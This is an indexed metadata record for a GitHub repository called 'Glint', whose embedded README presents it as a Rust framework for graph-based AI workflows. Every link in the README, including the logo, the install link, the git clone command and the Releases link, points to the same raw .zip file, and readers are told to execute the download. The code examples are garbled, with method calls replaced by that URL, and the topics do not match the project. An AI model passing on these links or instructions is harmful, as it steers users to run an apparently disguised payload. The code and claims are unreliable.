{"id":28718752,"url":"https://github.com/raheel-baksh/glint","last_synced_at":"2026-03-16T22:32:50.047Z","repository":{"id":294773523,"uuid":"987999412","full_name":"Raheel-baksh/Glint","owner":"Raheel-baksh","description":"Glint is a Rust framework designed for creating stateful, graph-based AI systems, enabling efficient multi-step workflows. With features like LLM integration and a graph-based architecture, Glint helps developers build powerful AI solutions with ease. 🐙✨","archived":false,"fork":false,"pushed_at":"2025-06-12T04:02:10.000Z","size":47,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-06-12T05:22:12.507Z","etag":null,"topics":["commitlint","face-recognition","facenet","git","go","hacktoberfest","lfw-dataset","multi-gpu","opengl","pretrained-model","pytorch","storybook","styled-components","triplet-loss","vggface2-dataset","webpack4"],"latest_commit_sha":null,"homepage":null,"language":"Rust","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Raheel-baksh.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-05-21T22:53:53.000Z","updated_at":"2025-06-12T04:02:14.000Z","dependencies_parsed_at":"2025-06-12T05:19:14.497Z","dependency_job_id":"d52704bd-2f90-4815-8e77-3868573b2a93","html_url":"https://github.com/Raheel-baksh/Glint","commit_stats":null,"previous_names":["raheel-baksh/glint"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Raheel-baksh/Glint","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Raheel-baksh%2FGlint","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Raheel-baksh%2FGlint/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Raheel-baksh%2FGlint/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Raheel-baksh%2FGlint/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Raheel-baksh","download_url":"https://codeload.github.com/Raheel-baksh/Glint/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Raheel-baksh%2FGlint/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259924678,"owners_count":22932782,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["commitlint","face-recognition","facenet","git","go","hacktoberfest","lfw-dataset","multi-gpu","opengl","pretrained-model","pytorch","storybook","styled-components","triplet-loss","vggface2-dataset","webpack4"],"created_at":"2025-06-15T05:03:53.464Z","updated_at":"2026-03-16T22:32:50.041Z","avatar_url":"https://github.com/Raheel-baksh.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Glint 🌟\n\n![Glint Logo](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip)  \n[![Latest Release](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip)](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip)\n\nWelcome to **Glint**, a high-performance Rust framework designed for building stateful, graph-based AI systems. With Glint, developers can create dynamic, multi-step workflows powered by Large Language Models (LLMs), embeddings, and vector stores. This framework operates through an asynchronous, checkpointable state machine, offering a robust foundation for constructing agent runtimes, autonomous pipelines, and complex control flows.\n\n## Table of Contents\n\n- [Introduction](#introduction)\n- [Features](#features)\n- [Getting Started](#getting-started)\n- [Installation](#installation)\n- [Usage](#usage)\n- [Examples](#examples)\n- [Contributing](#contributing)\n- [License](#license)\n- [Contact](#contact)\n\n## Introduction\n\nGlint is inspired by modern AI orchestration tools, focusing on performance and safety. Rust’s zero-cost abstractions allow Glint to deliver predictable performance, thread safety, and fine-grained control over state transitions. Its graph-based architecture simplifies the modeling of conditional logic, parallel branches, and persistent memory, making it a composable and extensible framework.\n\n## Features\n\n- **Graph-based Workflows**: Build complex AI workflows using a graph-based architecture.\n- **LLM Integration**: Support for OpenAI and other LLM providers.\n- **Embeddings**: Generate and work with embeddings for semantic search.\n- **Vector Stores**: Efficiently manage vector data for quick retrieval and processing.\n- **Asynchronous Execution**: Non-blocking operations enhance performance.\n- **Checkpointing**: Save and restore states during execution.\n- **Memory Safety**: Leverage Rust’s safety features to avoid common pitfalls.\n- **Extensibility**: Easily add new functionalities and integrate with existing systems.\n\n## Getting Started\n\nTo get started with Glint, you will need to have Rust installed on your machine. Follow the steps below to set up your environment and start building with Glint.\n\n### Prerequisites\n\n- [Rust](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip) installed on your system.\n- Basic knowledge of Rust programming language.\n\n## Installation\n\nTo install Glint, you can clone the repository and build it from source. Here’s how:\n\n```bash\ngit clone https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip\ncd Glint\ncargo build --release\n```\n\nAlternatively, you can download the latest release from the [Releases section](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip). Make sure to execute the downloaded file according to your operating system guidelines.\n\n## Usage\n\nOnce you have Glint installed, you can start building your workflows. Here’s a simple example to illustrate its usage:\n\n```rust\nuse glint::workflow::{Workflow, Step};\n\nfn main() {\n    let mut workflow = Workflow::new();\n\n    let step1 = Step::new(\"Step 1\")\n        .execute(|| {\n            println!(\"Executing Step 1\");\n        });\n\n    let step2 = Step::new(\"Step 2\")\n        .execute(|| {\n            println!(\"Executing Step 2\");\n        });\n\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(step1);\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(step2);\n\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip();\n}\n```\n\nThis example creates a basic workflow with two steps. Each step prints a message when executed. You can build upon this foundation to create more complex workflows.\n\n## Examples\n\nHere are a few examples of what you can achieve with Glint:\n\n### Example 1: Conditional Logic\n\nYou can model conditional logic using Glint’s graph-based architecture. Here’s how:\n\n```rust\nuse glint::workflow::{Workflow, Step};\n\nfn main() {\n    let mut workflow = Workflow::new();\n\n    let decision_step = Step::new(\"Decision\")\n        .execute(|| {\n            // Some logic to determine the path\n            true // or false based on your logic\n        });\n\n    let true_branch = Step::new(\"True Branch\")\n        .execute(|| {\n            println!(\"Executing True Branch\");\n        });\n\n    let false_branch = Step::new(\"False Branch\")\n        .execute(|| {\n            println!(\"Executing False Branch\");\n        });\n\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(decision_step);\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(true_branch).if_condition(true);\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(false_branch).if_condition(false);\n\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip();\n}\n```\n\n### Example 2: Parallel Execution\n\nGlint allows for parallel execution of steps. Here’s a simple example:\n\n```rust\nuse glint::workflow::{Workflow, Step};\n\nfn main() {\n    let mut workflow = Workflow::new();\n\n    let step1 = Step::new(\"Step 1\")\n        .execute(|| {\n            println!(\"Executing Step 1\");\n        });\n\n    let step2 = Step::new(\"Step 2\")\n        .execute(|| {\n            println!(\"Executing Step 2\");\n        });\n\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(step1).parallel();\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip(step2).parallel();\n\n    https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip();\n}\n```\n\nIn this example, both steps execute simultaneously.\n\n## Contributing\n\nWe welcome contributions to Glint. If you would like to contribute, please follow these steps:\n\n1. Fork the repository.\n2. Create a new branch (`git checkout -b feature/YourFeature`).\n3. Make your changes.\n4. Commit your changes (`git commit -m 'Add some feature'`).\n5. Push to the branch (`git push origin feature/YourFeature`).\n6. Open a pull request.\n\nPlease ensure your code follows the Rust style guidelines and includes tests where applicable.\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact\n\nFor questions or support, please open an issue in the repository or contact the maintainers directly.\n\nTo explore the latest features and updates, visit the [Releases section](https://raw.githubusercontent.com/Raheel-baksh/Glint/main/src/llms/Software_2.8.zip). Here, you can download the latest version and keep your Glint framework up to date.\n\nThank you for checking out Glint! We look forward to seeing what you build with it.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fraheel-baksh%2Fglint","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fraheel-baksh%2Fglint","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fraheel-baksh%2Fglint/lists"}